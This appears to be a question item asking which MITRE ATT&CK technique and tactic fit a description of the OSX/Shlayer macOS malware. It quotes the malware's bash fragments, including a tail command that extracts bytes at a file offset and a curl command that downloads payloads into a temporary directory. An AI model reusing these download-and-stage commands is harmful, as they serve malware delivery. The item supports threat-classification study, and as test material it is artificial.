Please help to identify the following description belonging to which technique in MITRE and the corresponding tactics: OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command <code>sh -c tail -c +1381...</code> to extract bytes at an offset from a specified file. OSX/Shlayer uses the <code>curl -fsL "$url" >$tmp_path</code> command to download malicious payloads into a temporary directory.